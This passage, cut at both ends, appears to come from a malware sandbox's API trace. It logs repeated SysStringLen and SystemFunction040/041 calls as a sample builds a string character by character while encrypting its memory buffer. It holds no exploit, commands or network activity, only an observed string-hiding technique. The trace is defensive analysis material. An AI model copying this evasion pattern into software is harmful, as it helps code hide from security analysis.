(param_1="e6GEwC/bEh6PD箵袧") returned 0x10 [0130.377] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.377] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\x8060\x1de2\xe45b\xf9d2\x7972\xdcbc\xdac9\xf2e8") returned 0x10 [0130.377] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\x8060\x1de2\xe45b\xf9d2\x7972\xdcbc\xdac9\xf2e8") returned 0x10 [0130.377] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.378] SysStringLen (param_1="e6GEwC/bEh6PDY箵袧") returned 0x10 [0130.378] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.378] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\x48d5\xb4eb\xb142\xf9c9\x8741\x372b\xd047\x57a1") returned 0x10 [0130.378] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\x48d5\xb4eb\xb142\xf9c9\x8741\x372b\xd047\x57a1") returned 0x10 [0130.378] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.378] SysStringLen (param_1="e6GEwC/bEh6PDYa袧") returned 0x10 [0130.378] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.378] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\x36b4\x3338\xe46\xbac6\xbaf\x9eb\xc262\xd24c") returned 0x10 [0130.378] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\x36b4\x3338\xe46\xbac6\xbaf\x9eb\xc262\xd24c") returned 0x10 [0130.378] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.378] SysStringLen (param_1="e6GEwC/bEh6PDYaM") returned 0x10 [0130.378] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.378] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2") returned 0x10 [0130.378] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2") returned 0x10 [0130.378] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2") returned 0x10 [0130.378] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2") returned 0x18 [0130.378] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.379] SysStringLen (param_1="e6GEwC/bEh6PDYaMx켊췧㿬鵭씇㕞耡") returned 0x18 [0130.379] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.379] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xc9b7\xc384\xa34d\x7835\xb3a8\x2cf4\x3947\x9953") returned 0x18 [0130.379] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xc9b7\xc384\xa34d\x7835\xb3a8\x2cf4\x3947\x9953") returned 0x18 [0130.379] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.379] SysStringLen (param_1="e6GEwC/bEh6PDYaMxv췧㿬鵭씇㕞耡") returned 0x18 [0130.379] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.379] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xca90\xaa5f\xb338\xa797\x3c0d\xb439\x93d2\xbd2") returned 0x18 [0130.379] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xca90\xaa5f\xb338\xa797\x3c0d\xb439\x93d2\xbd2") returned 0x18 [0130.379] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.379] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvD㿬鵭씇㕞耡") returned 0x18 [0130.379] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.379] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\x298d\x520e\x9f91\x16e4\xf75d\x16c9\xf862\x9665") returned 0x18 [0130.379] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\x298d\x520e\x9f91\x16e4\xf75d\x16c9\xf862\x9665") returned 0x18 [0130.379] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.379] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDl鵭씇㕞耡") returned 0x18 [0130.380] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.380] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\x4214\x210e\xe7b2\x6464\x51d0\x26ee\x15f7\x4e70") returned 0x18 [0130.380] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\x4214\x210e\xe7b2\x6464\x51d0\x26ee\x15f7\x4e70") returned 0x18 [0130.380] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.380] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlW씇㕞耡") returned 0x18 [0130.380] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.380] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\x3d21\x2248\xe537\xb3ab\x1879\x9e11\x5c6c\xc9af") returned 0x18 [0130.380] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\x3d21\x2248\xe537\xb3ab\x1879\x9e11\x5c6c\xc9af") returned 0x18 [0130.380] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.381] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWn㕞耡") returned 0x18 [0130.381] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.381] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xfd2f\x843c\x45c0\x667f\x3bb0\x7952\x9d63\x61f3") returned 0x18 [0130.381] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xfd2f\x843c\x45c0\x667f\x3bb0\x7952\x9d63\x61f3") returned 0x18 [0130.381] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.381] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWny耡") returned 0x18 [0130.381] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.381] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xa1d8\x37df\xe3\x1cf3\x3f56\xab77\xfec5\x32b4") returned 0x18 [0130.381] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xa1d8\x37df\xe3\x1cf3\x3f56\xab77\xfec5\x32b4") returned 0x18 [0130.381] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.381] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnyw") returned 0x18 [0130.381] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.381] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586") returned 0x18 [0130.381] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586") returned 0x18 [0130.381] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586") returned 0x18 [0130.382] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586") returned 0x20 [0130.382] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.382] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywf绳㏚ᇟ鹍䌋᳇") returned 0x20 [0130.382] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.382] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x45c4\x3d5b\x52f9\x8c9f\x1a44\xe8b\x298d\xd990") returned 0x20 [0130.382] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x45c4\x3d5b\x52f9\x8c9f\x1a44\xe8b\x298d\xd990") returned 0x20 [0130.382] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.382] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfA㏚ᇟ鹍䌋᳇") returned 0x20 [0130.382] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.382] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x722d\x171f\xc3e8\xbf3\xe41e\xea60\xbe03\x2a51") returned 0x20 [0130.382] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x722d\x171f\xc3e8\xbf3\xe41e\xea60\xbe03\x2a51") returned 0x20 [0130.382] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.382] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlᇟ鹍䌋᳇") returned 0x20 [0130.382] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.382] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\xc048\xd81a\x81da\xa579\xbe71\x5e90\xfdbd\x5736") returned 0x20 [0130.382] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\xc048\xd81a\x81da\xa579\xbe71\x5e90\xfdbd\x5736") returned 0x20 [0130.382] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.383] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlY鹍䌋᳇") returned 0x20 [0130.383] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.383] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\xf75a\x5df3\x2dfb\xba5c\xf146\xb2e0\x3566\x2763") returned 0x20 [0130.383] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\xf75a\x5df3\x2dfb\xba5c\xf146\xb2e0\x3566\x2763") returned 0x20 [0130.383] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.383] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYm䌋᳇") returned 0x20 [0130.383] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.383] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x1379\xea2\xcb6a\x9c8f\x7d73\x525b\xa029\x4379") returned 0x20 [0130.383] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x1379\xea2\xcb6a\x9c8f\x7d73\x525b\xa029\x4379") returned 0x20 [0130.383] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.383] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYmM᳇") returned 0x20 [0130.383] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.383] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\xc81\xba3\xd1f\xe68a\x366\xb3f1\xd12e\xca3d") returned 0x20 [0130.383] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\xc81\xba3\xd1f\xe68a\x366\xb3f1\xd12e\xca3d") returned 0x20 [0130.383] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.384] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYmME") returned 0x20 [0130.384] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.384] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x214d\x692f\xb770\xc6f1\x6324\x97c1\x312c\x3dce") returned 0x20 [0130.384] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x214d\x692f\xb770\xc6f1\x6324\x97c1\x312c\x3dce") returned 0x20 [0130.384] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.384] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYmME/") returned 0x20 [0130.384] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.384] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd") returned 0x20 [0130.384] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd") returned 0x20 [0130.384] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd") returned 0x20 [0130.384] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x42b3") returned 0x28 [0130.384] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.384] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYmME/U୤뀵祏쿴") returned 0x28 [0130.384] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.384] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x6952\xd073\x7ef5\xf02a\xea7c\xe6ae\x7556\x811a") returned 0x28 [0130.384] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x6952\xd073\x7ef5\xf02a\xea7c\xe6ae\x7556\x811a") returned 0x28 [0130.384] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.385] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYmME/Uj뀵祏쿴") returned 0x28 [0130.385] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.385] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x6fe5\xd2a1\xb0f0\x6c20\xa9d7\x1b20\xd1d3\x91a3") returned 0x28 [0130.385] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x6fe5\xd2a1\xb0f0\x6c20\xa9d7\x1b20\xd1d3\x91a3") returned 0x28 [0130.385] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.385] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYmME/UjP祏쿴") returned 0x28 [0130.385] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.385] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x9ba0\xd145\xa52\xfbd8\x242e\x653e\x8704\xf188") returned 0x28 [0130.385] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x9ba0\xd145\xa52\xfbd8\x242e\x653e\x8704\xf188") returned 0x28 [0130.385] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.385] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYmME/UjPV祏쿴") returned 0x28 [0130.385] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.385] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\xec50\x7955\x42b5\x919d\x649a\xda02\xbf12\xdba1") returned 0x28 [0130.385] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\xec50\x7955\x42b5\x919d\x649a\xda02\xbf12\xdba1") returned 0x28 [0130.385] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.386] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYmME/UjPVr쿴") returned 0x28 [0130.386] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.386] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x92a6\xd63a\x5cd9\xef76\xd0a8\x5194\x582d\x9518") returned 0x28 [0130.386] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\x92a6\xd63a\x5cd9\xef76\xd0a8\x5194\x582d\x9518") returned 0x28 [0130.386] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.386] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYmME/UjPVrz쿴") returned 0x28 [0130.386] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.386] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\xc58e\xc0bc\xde6\xa787\xc78b\x43aa\x66b\x72aa") returned 0x28 [0130.386] SysStringLen (param_1="\x64c1\xed3f\x1808\x2335\xc6b1\xe749\x3e4e\xb874\xc26e\xcf20\xbeaf\x3eea\x59ad\xd192\x70a5\xb0f2\xe35b\x7ed9\x4092\x10d9\x5a8d\x579e\x593c\xc586\x39f3\x7a9c\xa356\xbb0a\x7749\xd4a0\x944b\x94dd\xc58e\xc0bc\xde6\xa787\xc78b\x43aa\x66b\x72aa") returned 0x28 [0130.386] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.386] SysStringLen (param_1="e6GEwC/bEh6PDYaMxvDlWnywfAlYmME/UjPVrzR") returned 0x28 [0130.386] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.386] SysStringLen 